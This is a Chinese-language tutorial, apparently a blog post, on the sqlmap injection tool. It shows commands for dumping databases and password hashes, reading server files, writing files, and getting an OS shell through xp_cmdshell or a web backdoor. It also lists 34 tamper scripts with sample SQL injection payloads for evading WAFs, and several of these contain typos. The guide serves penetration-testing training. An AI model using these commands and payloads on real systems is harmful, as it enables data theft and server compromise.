sqlmap工具使用

sqlmap 是一款开源的渗透测试工具,可以自动化进行SQL注入的检测、利用,并能接管数据库服务器。它具有功能强大的检测引擎,为渗透测试人员提供了许多专业的功能并且可以进行组合,其中包括数据库指纹识别、数据读取和访问底层文件系统,甚至可以通过带外数据连接的方式执行系统命令。

判断是否存在注入

1
2
3
4
sqlmap.py -u http://example.com/sqli/?id=1

#当注入点后边的参数大于或者等于两个时,需要加双引号
sqlmap.py -u "http://example.com/sqli/?id=1&uid=2"

判断文本中的请求是否存在注入

sqlmao可以从一个文本文件中获取http请求,这样就不用设置其他参数(cookie,post,renfer等),txt文件内容为web数据包,所以需要和bp联动

1
sqlmap.py -r 1.txt

查询当前用户下的所有数据库

1
2
3
#加上--dbs
sqlmap.py -u "http://example.com/sqli/?id=1" --dbs
sqlmap.py -r 1.txt --dbs

获取数据库表名

1
2
3
4
#继续注入时,dbs缩写成D,后边加库的名称
#加上-D 数据库名称 --tables
sqlmap.py -u "http://example.com/sqli/?id=1" -D 数据库名称 --tables
sqlmap.py -r 1.txt -D 数据库名称 --tables

获取表中字段名

1
2
3
4
#继续注入时,tables缩写成T,后边加表的名称
#加上-D 数据库名称 -T 表名 --columns
sqlmap.py -u "http://example.com/sqli/?id=1" -D 数据库名称 -T 表名 --columns
sqlmap.py -r 1.txt -D 数据库名称 -T 表名 --columns

获取字段内容

1
2
3
4
#继续注入时,columns缩写成C,后边加字段的名称
#参数加上-c 字段名 --dump
sqlmap.py -u "http://example.com/sqli/?id=1" -D 数据库名称 -T 表名 -c 字段名 --dump
sqlmap.py -r 1.txt -D 数据库名称 -T 表名 -c 字段名 --dump

获取数据库所有用户

1
2
sqlmap.py -u "http://example.com/sqli/?id=1" --users
sqlmap.py -r 1.txt --users

获取数据库用户密码

1
2
sqlmap.py -u "http://example.com/sqli/?id=1" --passwords
sqlmap.py -r 1.txt --passwords

获取当前数据库名称

1
2
sqlmap.py -u "http://example.com/sqli/?id=1" --current-db
sqlmap.py -r 1.txt --current-db

获取当前网站数据库用户名称

1
2
sqlmap.py -u "http://example.com/sqli/?id=1" --current-user
sqlmap.py -r 1.txt --current-user

更多参数详解

–lever 5:探测等级

sqlmap一共五个等级,也可以不加,默认是1,sqlmap的payload可以在xml/payloads.xml中看到,也可以根据相应的格式添加自己的payload,其中五级包含的payload最多,会自动破解cookie,XFF等头部注入,当然随着等级的提高速度也会变慢,(具体参考相关路径payload或者官方文档)

–is-dba:当前用户是否为管理员权限

1
2
#返回结果为true或false
sqlmap.py -u "http://example.com/sqli/?id=1" --is-dba

–roles:列出数据库管理员角色

如果当前用户有权限读取包含所有用户的表,输入该命令会列举出每个用户的角色,也可以用-u参数指定想看那个用户的角色吗,(该命令只适用于数据库时Oracle时)

–referer

可以伪造http中的referer,当level参数设定为3或3以上时,会尝试对referer注入。也可以尝试referer欺骗,如–referer http://www.baidu.com

–sql-shell:运行自定义SQL语句

1
sqlmap.py -u "http://example.com/sqli/?id=1" --sql-shell 

进入sql-shell面板,在面板中输入想要使用的查询语句

–os-cmd,–os-shell:运行任意操作系统命令

–os-cmd

当数据库为MySQL,PostgreSQL或Microsoft SQL Server,且有用户权限使用特定函数时,可以使用参数“–os-cmd”执行系统命令。

如果数据库为MySQL或PostgreSQL,则SQLLmap会上传一个二进制库,包含用户自定义的函数sys_exec()和sys_eval(),通过创建的这两个函数可以执行系统命令。

如果数据库为Microsoft SQL Server,则sqlmap会使用xp_cmdshell存储过程执行系统命令,如果

xp_cmdshell被禁用(Microsoft SQL Server 2005版本以上默认被禁用),则sqlmap会重新启用它;如果xp_cmdshell不存在,则sqlmap会创建它。

–os-shell

使用参数“–os-shell”可以模拟一个真实的shell,与服务器进行交互,当不能执行多语句时(如php或asp的后端数据库为MySQL),sqlmap可以通过select语句中的into outfile在web服务器的可写目录中船舰web后门,从而执行命令。参数“–os-shell”支持asp,aspnet,jsp和php四种语言。

1
2
3
4
5
6
7
--os-shell的执行条件有三个:

(1)网站必须是root权限

(2)攻击者需要知道网站的绝对路径

(3)GPC为off,php主动转义的功能关闭

–file-read:从数据库服务器中读取执行文件

该命令用于从该服务器中读取可执行文件,当数据库为mysql,postgresql或microsoft sql server,并且当前用户有权限使用特定函数时,读取的文件可以是文本,也可以是二进制文件。

命令示例

1
python sqlmap.py -u http://example.com/?id=1 --file-read "/etc/password" -v 1
1
2
3
4
5
6
7
8
9
-v 0:静默模式,只输出关键信息和警告。这是最少输出的模式,适合在生产环境或需要最小干扰的情况下使用。

-v 1:基本模式,输出一些基本的信息和警告。这个级别通常用于常规的安全测试和漏洞评估。

-v 2:详细模式,输出更多详细的信息,包括请求和响应的数据。适用于深入的漏洞分析和调试。

-v 3:调试模式,输出大量的调试信息,非常详细。主要用于开发和排查问题。

-v 4、-v 5、-v 6:这些级别输出的信息更加详细和深入,通常用于极端情况下的分析和调试。

–file-write和–file-dest:将本地文件写入数据库服务器

用于将本地文件写入数据库服务器,当数据库为MySQL,PostgreSQL或Microsoft SQL Server,且有用户权限使用特定函数时,上传文件可以是文本也可以是二进制文件。

命令示例

1
python sqlmap.py -u http://example.com/?id=1 --file-write "1.txt" --file-dest "/tmp/1.txt" -v 1

sqlmap自带tamper绕过脚本讲解

为了防止诸如语句中出现单引号,sqlmap默认情况下会使用CHAR()函数。可以使用参数“–tamper”对数据作修改来绕过waf等设备,其中大部分脚本主要使用正则模块替换payload字符编码的方式尝试绕过waf的检测规则,命令示例

1
python sqlmap.py xxxx --tamper "模块名"

日常使用我们会对一些网站是否有安全防护进行试探,使用参数”–identify-waf”进行检测

常用tamper绕过脚本

(1)apostrophemask.py

作用:将引号替换为UTF-8格式,用于过滤单引号

使用脚本前语句如下

1
1 AND '1'='1

使用脚本后的语句如下

1
2
1 AND %EF%BC%871%EF%BC%87=%EF+BC%871   #这是全角单引号的UTF-8编码
1 AND %271%27=%271 #正常英文单引号的UTF-8编码

(2)base64encode.py

作用:将请求参数进行base64位编码

使用脚本前语句如下

1
1' and SLEEP(5)#

使用脚本后的语句如下

1
MScgYW5kIFNMRUVQKDUpIw==

(3)multiplespaces.py

作用:在SQL语句的关键字中间添加多个空格

使用脚本前语句如下

1
1 UNION SELECT foobar

使用脚本后语句如下

1
1   UNION   SELECT   foobar

(4)space2plus.py

作用:用加号(+)替换空格

使用脚本前语句如下

1
SELECT id FROM users

使用脚本后语句如下

1
SELECT+id+FROM+users

(5)nonrecursivereplacement.py

作用:作为双重查询语句,用双重语句替换预定义的SQL关键字(适用于非常弱的自定义过滤器,例如将”select”替换为空)

使用脚本前语句如下

1
1 UNION SELECT 2--

使用脚本后语句如下

1
1 UNIOUNIONN SELESELECTCT 2--

(6)space2randomblank.py

作用:将空格替换为其他有效字符,例如%09,%0A,%0C,%0D

使用脚本前的语句如下

1
SELECT id FROM users

使用脚本后的语句如下

1
SELECT%0Did%0DFROM%0Dusers

(7)unionalltounion.py

作用:将”UNION ALL AELECT”替换为”UNION SELECT”

使用脚本前的语句如下

1
-1 UNION ALL AELECT

使用脚本后的语句如下

1
-1 UNION SELECT

(8)securesphere.py

作用:追加特制的字符串

使用脚本前语句如下

1
1 AND 1=1

使用脚本后语句如下

1
1 AND 1=1 and '0having'='0having'

(9)space2hash.py

作用:将空格替换为井字号(#),并添加一个随机字符串和换行符

使用脚本前的语句如下

1
1 AND 9227=9227

使用脚本后的语句如下

1
1%23nVNaVoPYeva%023ngNvzqu%0A9227=9227

(10)space2mssqlblank.py

作用:将空格替换为其他空符号

使用脚本前的语句如下

1
SELECT id FROM users

使用脚本后的语句如下

1
SELECT%0Eid%0DFROM%07users

(11)space2mssqlhash.py

作用:将空格替换为井字号(#),并添加换行符

使用脚本前的语句如下

1
1 AND 9227=9227

使用脚本后的语句如下

1
1%23%0AAnd%23%0A9227=9227

(12)between.py

作用:用“NOT VETWEEN 0 AND”替换大于号(>),用“BETWEEN AND”替换等号(=)

使用脚本前的语句如下

1
2
1 AND A > B--
1 AND A = B--

使用脚本后的语句如下

1
2
1 ADN A NOT BETWEEN 0 AND B--
1 ADN A BETWEEN B AND B--

(13)percentage.py

作用:ASP语言允许在每个字符前加上一个百分号(%)

使用脚本前的语句如下

1
SELECT FIELD FROM TABLE

使用脚本后的语句如下

1
%S%E%L%E%C%T%F%I%E%L%D%F%R%O%M%T%A%B%L%E

(14)sp_password.py

作用:将sp_password.py追加到Payload末尾

使用脚本前的语句如下

1
1 AND 9227=9227--

使用脚本后的语句如下

1
1 AND 9227=9227-- sp_password.py

(15)charencode.py

作用:对给定Payload全部字符使用URL编码(不处理已经编码的字符)

使用脚本前语句如下

1
SELECT FIELD FROM%20TABLE

使用脚本后语句如下

1
%53%45%4c%45%43%54%20%46%49%45%4c%44%20%46%52%4f%4d%20%54%41%42%4c%45

(16)randomcase.py

作用:在sql语句中,对关键字进行随机大小写转换

使用脚本前语句如下

1
INSERT

使用脚本后语句如下

1
InsERt

(17)charunicodeencode.py

作用:对sql语句进行字符串unicode编码

使用脚本前的语句如下

1
SELECT FIELD%20FROM TABLE

使用脚本后的语句如下

1
\u0053\u0045\u004c\u0045\u0043\u0054\u0020\u0046\u0049\u0045\u004c\u0044\u0025\u0032\u0030\u0046\u0052\u004f\u004d\u0020\u0054\u0041\u0042\u004c\u0045

(18)space2comment.py

作用:将空格替换为“/**/”

使用脚本前的语句如下

1
SELECT id FROM users

使用脚本后的语句如下

1
SELECT/**/ID/**/FROM/**/users

(19)equaltolike.py

作用:将等号(=)替换为“like”

使用脚本前的语句如下

1
SELECT * FROM users WHERE id=1

使用脚本后的语句如下

1
SELECT * FROM users WHERE id Like 1

(20)greatest.py

作用:绕过对“大于号(>)”的过滤,用“GREATEST”替换大于号

使用脚本前的语句如下

1
1 AND A > B

使用脚本后的语句如下

1
1 AND GREATEST(A,B+1)=A
1
2
3
4
#测试通过的数据库类型和版本如下
MySQL4;MySQL5和MySQL5.5
oracle 10g
postgresql8.3;postgresql8.4和postgresql9.0

(21)ifnull2ifisnull.py

作用:绕过对“IFNULL”的过滤,将类似“IFNULL(A,B)”的数据库语句替换为“IF(ISNULL(A),B,A)”

使用脚本前语句如下

1
IFNULL(1,2)

使用脚本后语句如下

1
IF(ISNULL(1),2,1)

(22)modsecurityversioned.py

作用:过滤空格,通过mysql内联注释的方式进行注入

使用脚本前的语句如下

1
1 AND 2>1--

使用脚本后的语句如下

1
1 /*!30874AND 2>1*/--

该脚本可在mysql5.0数据库中使用

(23)space2mysqlblank.py

作用:将空格替换为其他空白符号

使用脚本前的语句如下

1
SELECT id FROM users

使用脚本后的语句如下

1
SELECT%A0id%0BFROM%0Cusers

该脚本可以在Mysql5.1数据库中使用

(24)modsecurityzeroversioned.py

作用:使用MySQL内联注释的方法进行注入

使用脚本前的语句如下

1
1 AND 2>1--

使用脚本后的语句如下

1
1 /*!00000AND 2>1*/--

该脚本可以在MySQL5.0数据库中使用

(25)space2mysqldash.py

作用:将空格替换为“–”,并添加一个换行符

使用脚本前语句

1
1 AND 9227=9227

使用脚本后语句

1
--%0AAND--%0A9227=9227

(26)bluecoat.py

作用:在SQL语句之后用有效的随机空白符替换空格符,随后用“LIKE”替换等号

使用脚本前的语句如下

1
SELECT id FROM users where id = 1

使用脚本后的语句如下

1
SELECT%09id FROM%09users where%09id LIKE 1

该脚本可以在MySQL5.1和SGOS数据库中使用

(27)versionedkeywords.py

作用绕过注释

使用脚本前的语句如下

1
UNION ALL SELECT NULL,NULL,CONCAT(CHAR(58,104,116,116,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CH/**/AR(58,100,114,117,58))#

使用脚本后的语句如下

1
/*!UNION**!ALL**!SELECT**!NULL*/,/*!NULL*/,CONCAT(CHAR(58,104,116,116,58),IFNULL(CAST(CURRENT_USER()/*!AS**!CHAR*/),CHAR(32)),CH/**/AR(58,100,114,117,58))#

(28)halfvesionedmorekeyword.py

作用:当数据库为mysql时,绕过防火墙,在每个关键字前添加MySQL版本注释

使用脚本前的语句如下

1
value' UNION ALL SELECT CONCAT(CHAR(58,104,116,116,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,97,110,121,58)),NULL,NULL# AND 'QDWa'='QDWa

使用脚本后的语句如下

1
value'/*!0UNION/*!0ALL/*!0SELECT/*!0CONCAT(/*!0CHAR(58,104,116,116,58),/*!0IFNULL(CAST(CURRENT_USER()/*!0AS/*!0CHAR),/*!0CHAR(32)),/*!0CHAR(58,97,110,121,58)),/*!0NULL,/*!0NULL#/*!0AND 'QDWa'='QDWa

该脚本可在MySQL4.018和MySQL5.022数据库中使用

(29)space2morehash.py

作用:将空格替换为井字号,并添加一个随机字符串和换行符

使用脚本前语句

1
1 AND 9227=9227

使用脚本后语句

1
1%23ngNvzqu%0Aand%23nVNaVoPYeva%0A%23 lujYFWfv%0A9227=9227

该脚本可在MySQL5.1.41数据库中使用

(30)apostrophenullencode.py

作用:用非法双字节unicode字符替换单引号

使用脚本前的语句如下

1
1 AND '1'='1

使用脚本后的语句如下

1
1 AND %00%271%00%27=%00%271

(31)appendnullbyte.py

作用:在有效符合的结束位置加载零字节字符编码

使用脚本前语句如下

1
1 AND 1=1

使用脚本后语句如下

1
1 AND 1=1%00

(32)chardoubleencode.py

作用:对给定的payload全部字符使用双重URL编码(不处理已经编码的字符)

使用脚本前的语句如下

1
SELECT FIELD FROM%20TABLE

使用脚本后的语句如下

1
%2553%2545%254c%2545%2543%2554%2520%2546%2549%2545%254c%2544%2520%2546%2552%254f%254d%2520%2554%2541%2542%254c%2545

(33)unmagicquotes.py

作用:用一个多字节组合(%bf%27)和末尾通用注释一起替换空格。

使用脚本前语句如下

1
1’ AND 1=1

使用脚本后语句如下

1
1%bf%27--

(34)randomcomments.py

作用:用“/**/”分割SQL关键字

使用脚本前语句如下

1
INSERT

使用脚本后语句如下

1
IN/**/S/**/ERT